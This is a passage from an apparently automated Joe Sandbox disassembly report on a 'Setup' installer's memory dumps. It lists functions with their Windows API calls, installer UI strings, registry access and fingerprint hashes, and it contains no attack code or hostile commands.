API String ID: 3326300193-1989790735
Opcode ID: 48a9313a351e26a60fb27dc8217625b900abec77899462278536b3e7f835aaba
Instruction ID: a4d5b136db9a54c8bde892a7237d9330930523dbaedefadbb19d66c17b4328f1
Opcode Fuzzy Hash: 48a9313a351e26a60fb27dc8217625b900abec77899462278536b3e7f835aaba
Instruction Fuzzy Hash: 4B418F71900249EFEB01DFA8C884F9DBBB5AF59B28F148449F544EB282C771DA818F61

Function 6395C626 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395C62D
SetWindowTextW.USER32(?,?), ref: 6395C63D

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

SetDlgItemTextW.USER32(?,00000065,00000000), ref: 6395C666
SetDlgItemTextW.USER32(?,00000066,00000000), ref: 6395C6A1
SetDlgItemTextW.USER32(?,00000002,00000000), ref: 6395C6DC
GetParent.USER32(?), ref: 6395C6EF

Part of subcall function 6394E153: GetWindowLongW.USER32(?,000000F0), ref: 6394E179
Part of subcall function 6394E153: GetParent.USER32 ref: 6394E18B
Part of subcall function 6394E153: GetWindowRect.USER32(?,?), ref: 6394E1A5
Part of subcall function 6394E153: GetWindowLongW.USER32(?,000000F0), ref: 6394E1BB
Part of subcall function 6394E153: MonitorFromWindow.USER32(?,00000002), ref: 6394E1DA

Strings

IDS_RESTART_NOW, xrefs: 6395C67F
IDS_RESTART_LATER, xrefs: 6395C6BA
IDS_REBOOT_REQUIRED, xrefs: 6395C647

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$Text$Item$H_prolog3LongParent$FromMonitorRect
String ID: IDS_REBOOT_REQUIRED$IDS_RESTART_LATER$IDS_RESTART_NOW
API String ID: 1194771093-931079857
Opcode ID: 710843fc2d265148980eae688a5c12cb71d96d2e5bcd559bb6ce9d095a26a011
Instruction ID: 23a50821f549572d227f65dbcd7eae3aa1d4ad473281429c4096360c34aaaf1b
Opcode Fuzzy Hash: 710843fc2d265148980eae688a5c12cb71d96d2e5bcd559bb6ce9d095a26a011
Instruction Fuzzy Hash: BC313E71900205DFDF10EFA8C888A9D7BB5FF4AB29B244698F155DB2A5C7319950DF10

Function 63961601 Relevance: 15.5, APIs: 10, Instructions: 459windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000031,00000000,00000000), ref: 63961656

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

MapDialogRect.USER32(?,00000000), ref: 6396175E
ShowWindow.USER32(00000001,00000001,?,?,?,?,40000000,?,?,00000000), ref: 639617E3
SendMessageW.USER32(?,00000030,?,00000001), ref: 639617F5

Part of subcall function 6394F589: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 6394F5AC
Part of subcall function 6394F589: GetObjectW.GDI32(00000000,0000005C,?), ref: 6394F5B5
Part of subcall function 6394F589: CreateFontIndirectW.GDI32(?), ref: 6394F600
Part of subcall function 6394F589: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 6394F610

LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000010), ref: 639618AD
SendMessageW.USER32(?,00000170,?,00000000), ref: 639618FA
LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00000010), ref: 63961931

Part of subcall function 6395F933: SendMessageW.USER32(?,00000172,00000000,?), ref: 6395F944

MapDialogRect.USER32(?,00000000), ref: 63961A58
SendMessageW.USER32(?,00000030,?,00000001), ref: 63961ABD
ShowWindow.USER32(?,00000001,?,00000000), ref: 63961AC8

Part of subcall function 6395F8DE: CreateWindowExW.USER32(00000000,STATIC,?,?,?,?,?,?,?,?,00000000,?), ref: 6395F91E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$Window$CreateDialogImageLoadRectShow$FontH_prolog3IndirectObject
String ID:
API String ID: 727718542-0
Opcode ID: 525b5b38c515de5c1cbe4a1c550a1ad2c9527e77c760fb668d70460685cd44b1
Instruction ID: a7ed2a0d309b16757171883aff79504414b2d098cb5ef550112d21c4071174a5
Opcode Fuzzy Hash: 525b5b38c515de5c1cbe4a1c550a1ad2c9527e77c760fb668d70460685cd44b1
Instruction Fuzzy Hash: C702F075608300AFDB05DF68C888A1ABBE6FF8AB14F104959F586CB361DB35D845CF92

Function 6396210E Relevance: 15.5, APIs: 10, Instructions: 457windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000031,00000000,00000000), ref: 6396215F

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

MapDialogRect.USER32(?,00000000), ref: 63962267
ShowWindow.USER32(?,00000001,?,?,?,?,40000000,?,?,00000000), ref: 639622ED
SendMessageW.USER32(?,00000030,?,00000001), ref: 639622FF

Part of subcall function 6394F589: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 6394F5AC
Part of subcall function 6394F589: GetObjectW.GDI32(00000000,0000005C,?), ref: 6394F5B5
Part of subcall function 6394F589: CreateFontIndirectW.GDI32(?), ref: 6394F600
Part of subcall function 6394F589: SendMessageW.USER32(?,00000030,00000000,00000001), ref: 6394F610

LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000010), ref: 639623BB
SendMessageW.USER32(?,00000170,?,00000000), ref: 63962408
LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00000010), ref: 6396243C

Part of subcall function 6395F933: SendMessageW.USER32(?,00000172,00000000,?), ref: 6395F944

MapDialogRect.USER32(?,00000000), ref: 6396255F
SendMessageW.USER32(?,00000030,?,00000001), ref: 639625C4
ShowWindow.USER32(?,00000001,?,00000000), ref: 639625CF

Part of subcall function 6395F8DE: CreateWindowExW.USER32(00000000,STATIC,?,?,?,?,?,?,?,?,00000000,?), ref: 6395F91E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$Window$CreateDialogImageLoadRectShow$FontH_prolog3IndirectObject
String ID:
API String ID: 727718542-0
Opcode ID: 6fd871d160e8d5ef97d0e0b775574b5bc39f911a42c173c5badf6ac379a38e5b
Instruction ID: c06623219eb599fb2bc56cfdfa925eb67e7624b78ea65b3e7794c4997fc77f05
Opcode Fuzzy Hash: 6fd871d160e8d5ef97d0e0b775574b5bc39f911a42c173c5badf6ac379a38e5b
Instruction Fuzzy Hash: D10212756083019FDB04DF68C898A1ABBF6FF8A754F004969F5868B361DB30D844CF92

Function 6C5D1A6B Relevance: 15.1, APIs: 10, Instructions: 133sleepCOMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(6C5F0164,?,00000000), ref: 6C5D1AB1
_initterm.MSVCRT ref: 6C5D1AF8
InterlockedExchange.KERNEL32(6C5F0164,00000000), ref: 6C5D1B0E
InterlockedCompareExchange.KERNEL32(6C5F0164,00000001,00000000), ref: 6C5D1D46
free.MSVCRT ref: 6C5D1D7A
InterlockedExchange.KERNEL32(6C5F0164,00000000), ref: 6C5D1D9C
Sleep.KERNEL32(000003E8,?,00000000,?,?,6C5D1DDB,?,00000001,?,?,?,?,6C5D1C70,0000002C), ref: 6C5E451B

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ExchangeInterlocked$Compare$Sleep_inittermfree
String ID:
API String ID: 546057305-0
Opcode ID: 95a52fff75cf025f7bf7a632f69a7114fcd20feda4c623dbdf38b750eed5c5f7
Instruction ID: ec77ffa72cba2d1c982e4ab2d3e1360f57f97aea3810c844c347730c318e670d
Opcode Fuzzy Hash: 95a52fff75cf025f7bf7a632f69a7114fcd20feda4c623dbdf38b750eed5c5f7
Instruction Fuzzy Hash: 83418E71345340EBEB04ABA99C44B5B33B9EB86379F16452AE521CA991E730E840CF2D

Function 63958FA4 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 310COMMON

Download Yara Rule

APIs

Part of subcall function 63961169: __EH_prolog3.LIBCMT ref: 63961170
Part of subcall function 63961169: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 639611B1

Part of subcall function 639610EB: __EH_prolog3_GS.LIBCMT ref: 639610F5
Part of subcall function 639610EB: _memset.LIBCMT ref: 63961121
Part of subcall function 639610EB: GetTempPathW.KERNEL32(00000104,?,Action,?,00000000), ref: 63961135

Part of subcall function 6395E98E: __EH_prolog3_GS.LIBCMT ref: 6395E995
Part of subcall function 6395E98E: _wmemcpy_s.LIBCMT ref: 6395EA2A

Part of subcall function 6395F0E8: __EH_prolog3.LIBCMT ref: 6395F0EF

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 63957FE0: __EH_prolog3.LIBCMT ref: 63957FE7
Part of subcall function 63957FE0: PathGetDriveNumberW.SHLWAPI(?,?,?,00000014,63959180,?,?,?,?,?,?,?,?), ref: 63958015
Part of subcall function 63957FE0: PathGetDriveNumberW.SHLWAPI(?), ref: 6395801C
Part of subcall function 63957FE0: PathGetDriveNumberW.SHLWAPI(?,?,?,?), ref: 63958064
Part of subcall function 63957FE0: PathGetDriveNumberW.SHLWAPI(?), ref: 6395806B
Part of subcall function 63957FE0: PathGetDriveNumberW.SHLWAPI(00000001,00000001,?,?), ref: 639580B3
Part of subcall function 63957FE0: PathGetDriveNumberW.SHLWAPI(?), ref: 639580BA

Part of subcall function 63958ECA: __EH_prolog3.LIBCMT ref: 63958ED1
Part of subcall function 63958ECA: GetDlgItem.USER32(?,0000004E), ref: 63958F73
Part of subcall function 63958ECA: GetDlgItem.USER32(?,?), ref: 63958F88

Part of subcall function 63958CD7: __EH_prolog3.LIBCMT ref: 63958CDE

Part of subcall function 6395F42A: __EH_prolog3.LIBCMT ref: 6395F431

ShowWindow.USER32(?,00000000,?,?,?,?,?,?,00000065,00000067), ref: 6395929E
ShowWindow.USER32(205ABF9D,00000000,?,?,?,?,?,?,00000065,00000067), ref: 639592B0
ShowWindow.USER32(?,00000000,?,00000066,00000068,?,?,?,?,?,?,?,?,?,?,?), ref: 63959335
ShowWindow.USER32(00000012,00000000,?,00000066,00000068,?,?,?,?,?,?,?,?,?,?,?), ref: 63959347

Strings

Download Drive, xrefs: 6395924B
System Drive, xrefs: 639591ED
Action, xrefs: 63958FBF
Product Drive, xrefs: 639592E4

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3Path$DriveNumber$ShowWindow$H_prolog3_Item$DirectorySystemTemp_memset_wmemcpy_s
String ID: Action$Download Drive$Product Drive$System Drive
API String ID: 1601511689-2973646315
Opcode ID: 94a16aa9fc3e2edc6a4a8186c34838e13c8a31f014b4bf0e7f2ce99582e14ac5
Instruction ID: df6dcb910fcbef326b7af7198fca7aa65fa6bad51b82636109f3b20f091f7fdd
Opcode Fuzzy Hash: 94a16aa9fc3e2edc6a4a8186c34838e13c8a31f014b4bf0e7f2ce99582e14ac5
Instruction Fuzzy Hash: ABC13D715083409FD710DB78C884B5EB7E8BF9AB28F044A59F999DB291CB31D854CFA2

Function 639521B8 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 199COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639521BF

Part of subcall function 63951F81: __EH_prolog3.LIBCMT ref: 63951F88

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Part of subcall function 6394CA39: __EH_prolog3.LIBCMT ref: 6394CA40

Part of subcall function 6394CAC2: __EH_prolog3.LIBCMT ref: 6394CAC9

Part of subcall function 6394D170: __EH_prolog3.LIBCMT ref: 6394D177

__CxxThrowException@8.LIBCMT ref: 63952425

Part of subcall function 6396DBDB: RaiseException.KERNEL32(?,?,63969236,?,?,?,?,?,63969236,?,63977F54,639822B4), ref: 6396DC1D

Strings

Font, xrefs: 63952320
Text, xrefs: 639521E3
UIInfo.xml, xrefs: 63952399
UiInfo element 'Static' should have one of Text, Icon or Bitmap elements!, xrefs: 639523A7
Icon, xrefs: 63952243
Bitmap, xrefs: 639522B3

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$ExceptionException@8RaiseThrow
String ID: Bitmap$Font$Icon$Text$UIInfo.xml$UiInfo element 'Static' should have one of Text, Icon or Bitmap elements!
API String ID: 1412866469-225342085
Opcode ID: 1e96237d2734658763666903c3429873475370084523d528902388a8d0670ad7
Instruction ID: c1cee15ee1cd0576be8b8a13c62418eb310c757d08d1d3ca0f683849bbac45df
Opcode Fuzzy Hash: 1e96237d2734658763666903c3429873475370084523d528902388a8d0670ad7
Instruction Fuzzy Hash: 1C817C7190124CEFDB00DBA8C944BDEB7B8AF1A728F284195F454AB382D734EA44DF61

Function 639593BE Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639593C5

Part of subcall function 6395795B: __EH_prolog3.LIBCMT ref: 63957962
Part of subcall function 6395795B: EnumWindows.USER32(63957C3F,?), ref: 639579BF

RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,00000000), ref: 639594F0

Part of subcall function 6395F42A: __EH_prolog3.LIBCMT ref: 6395F431

SendDlgItemMessageW.USER32(00000001,0000006F,00000172,00000001,?), ref: 63959509
SetWindowTextW.USER32(?,?), ref: 63959518
EnableWindow.USER32(?,00000001), ref: 6395952C
EnableWindow.USER32(?,00000000), ref: 6395953D
ShowWindow.USER32(?,00000000), ref: 6395954A

Strings

%s, xrefs: 639594B8

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$H_prolog3$Enable$EnumExceptionItemMessageRaiseSendShowTextWindows
String ID: %s
API String ID: 3119945384-3043279178
Opcode ID: ba319aef2e3f6f5d68e7269112b93f3845f104569c9dcff2d3c828e2d2fb7eea
Instruction ID: b62bca1629acf7de44f4617a341f53711df61fe4a1a9d65482bf741671dbe580
Opcode Fuzzy Hash: ba319aef2e3f6f5d68e7269112b93f3845f104569c9dcff2d3c828e2d2fb7eea
Instruction Fuzzy Hash: E351A571904215EFEB11DFA8C884BCDBFB0BF0AB15F144194F518AB282C73099A1CFA1

Function 6396A311 Relevance: 13.7, APIs: 9, Instructions: 196COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32(639414A0,639691D6), ref: 6396A31E
__calloc_crt.LIBCMT ref: 6396A32A

Part of subcall function 63969F70: Sleep.KERNEL32(00000000,?,639691D6,?), ref: 63969F98

__calloc_crt.LIBCMT ref: 6396A3CA
GetFileType.KERNEL32(74C08559,00000001,639691D6), ref: 6396A451

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: __calloc_crt$FileInfoSleepStartupType
String ID:
API String ID: 591920814-0
Opcode ID: fc26f06a4553488e529a20956889285f810d46bd5cae1b22399113ab02a36a66
Instruction ID: 8cd0dae9dcdfd09c3f7dc6bb5a0b3db3b3e68526f865a637707322f713fd2109
Opcode Fuzzy Hash: fc26f06a4553488e529a20956889285f810d46bd5cae1b22399113ab02a36a66
Instruction Fuzzy Hash: 6E61E2B150A7618FE700DF68CC88B1A77B8AF97B64F194668E566CB2D1E730D801CF01

Function 6C5DBA44 Relevance: 13.6, APIs: 9, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DBAE2: InitializeCriticalSectionAndSpinCount.KERNEL32(?,80000040,00000000,00000000,6C5DBA57,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5DBAFB

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5DBA86
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5DBA9D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5DBAB4
GetLastError.KERNEL32(?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5E2739
GetLastError.KERNEL32(?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5E276E
CloseHandle.KERNEL32(?,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5E27F4
CloseHandle.KERNEL32(?,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5E2801
CloseHandle.KERNEL32(?,00000000,?,?,00000000,?,6C5D8733,?,0000000C,6C5DBCB8,6C5D0000), ref: 6C5E2812

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast$CountCriticalInitializeSectionSpin
String ID:
API String ID: 2704725777-0
Opcode ID: 511333379bc02d96a25da82389223d74247e50f1d948e43e70ea33d7eb5bf9fb
Instruction ID: 7b3b4d39c3db09a8899a0efde4ce919e2e305072a4fc7474b4b286ad4bf73390
Opcode Fuzzy Hash: 511333379bc02d96a25da82389223d74247e50f1d948e43e70ea33d7eb5bf9fb
Instruction Fuzzy Hash: D2519B74901304EFDB50EF6ACC84EAAB7F9FF44348B2A08AAE111D6E51C370E9848B54

Function 6C5D5E53 Relevance: 12.6, APIs: 10, Instructions: 124COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D5E69
memset.MSVCRT ref: 6C5D5EE3
memset.MSVCRT ref: 6C5D5EF7
memset.MSVCRT ref: 6C5D5F0A
memset.MSVCRT ref: 6C5D5F22
memset.MSVCRT ref: 6C5D5F31
memset.MSVCRT ref: 6C5D5F75
memset.MSVCRT ref: 6C5D5FAC
memset.MSVCRT ref: 6C5D5FBE
memset.MSVCRT ref: 6C5D5FE9

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 7e0159214f05f092813d7215edd18f8e7927451cd52de21e904934e0ab6ae338
Instruction ID: 8e8a1a1e86c38b0f8ebeb97397ae4017dd0061ee6d98e24f65b54ecd3e6e48da
Opcode Fuzzy Hash: 7e0159214f05f092813d7215edd18f8e7927451cd52de21e904934e0ab6ae338
Instruction Fuzzy Hash: 59410BB1541B049FD370CF6AC885A83FBE8FF98704F41892EE2AA97650DB71B509CB54

Function 6C5E7AAB Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,?,00000000,000F003F,?,Software\Microsoft\SQMClient\Windows,80000002,CabSessionAfterSize), ref: 6C5E7AE6
RegEnumValueW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 6C5E7C4C
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6C5E7B3D

Part of subcall function 6C5E77B8: EtwTraceMessage.NTDLL ref: 6C5E781A

Part of subcall function 6C5D1967: malloc.MSVCRT(?,6C5F0554), ref: 6C5D1979

RegDeleteValueW.ADVAPI32(00000057,00000000,00000000,00000000,00000026,6C5E5AB8), ref: 6C5E7D12

Strings

CabSessionAfterSize, xrefs: 6C5E7AB3
W, xrefs: 6C5E7CC3
Software\Microsoft\SQMClient\Windows, xrefs: 6C5E7ABC

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Value$DeleteEnumInfoMessageOpenQueryTracemalloc
String ID: CabSessionAfterSize$Software\Microsoft\SQMClient\Windows$W
API String ID: 3944082161-4242814227
Opcode ID: 3ee66e22c38b581225e36f058039524026cf1ddd96404d598a7276cb73f71f0e
Instruction ID: 085a53cdda4d599d081153b8184a382e184bfe899f63c764ddab563702e8c9f9
Opcode Fuzzy Hash: 3ee66e22c38b581225e36f058039524026cf1ddd96404d598a7276cb73f71f0e
Instruction Fuzzy Hash: 0381A071501244EFDB199F55CD84EAE7BFAFF48388F618469F924AA9A2C331C944CF00

Function 6395D86C Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 63960324: SendMessageW.USER32(?,00000437,00000000,?), ref: 63960344

_memset.LIBCMT ref: 6395D8B6
SendMessageW.USER32(?,0000043A,00000001,?), ref: 6395D8D9

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6395D81A: __EH_prolog3.LIBCMT ref: 6395D821

Part of subcall function 63960353: GetWindowTextLengthW.USER32(?), ref: 6396035B
Part of subcall function 63960353: SendMessageW.USER32(?,000000C2,?,00000000), ref: 63960377

Part of subcall function 63950D3D: _memset.LIBCMT ref: 63950D6A
Part of subcall function 63950D3D: SendMessageW.USER32(?,00000444,00000001,?), ref: 63950D93

Part of subcall function 63950E35: _memset.LIBCMT ref: 63950E62
Part of subcall function 63950E35: SendMessageW.USER32(?,00000444,00000001,00000074), ref: 63950E92

Strings

IDS_INSTALLATION_BLOCKERS, xrefs: 6395D9B0
t, xrefs: 6395D8CB
IDS_PRE_INSTALLATION_WARNINGS, xrefs: 6395DA6F
, xrefs: 6395D942, 6395D9E7, 6395DAA5
IDS_SUCCESS_BLOCKERS_LIST_HEADER, xrefs: 6395D90B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageSend$_memset$H_prolog3$LengthTextWindow
String ID: $IDS_INSTALLATION_BLOCKERS$IDS_PRE_INSTALLATION_WARNINGS$IDS_SUCCESS_BLOCKERS_LIST_HEADER$t
API String ID: 808874516-693864943
Opcode ID: e88a760b074c615f5c7c36e554ccc897d13bd7a090484be2c3e63615af512aaf
Instruction ID: 3738e6f72b3c9db7a5ef31b254d3bc5da869e28ad0fd7936b2281ec6fa54018f
Opcode Fuzzy Hash: e88a760b074c615f5c7c36e554ccc897d13bd7a090484be2c3e63615af512aaf
Instruction Fuzzy Hash: B5718E72940614ABDB20DB68CC45FCE7778AF96B28F214184F618BB2D1DB70EA95CF50

Function 6C5DE442 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 186timeCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5DE49A

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

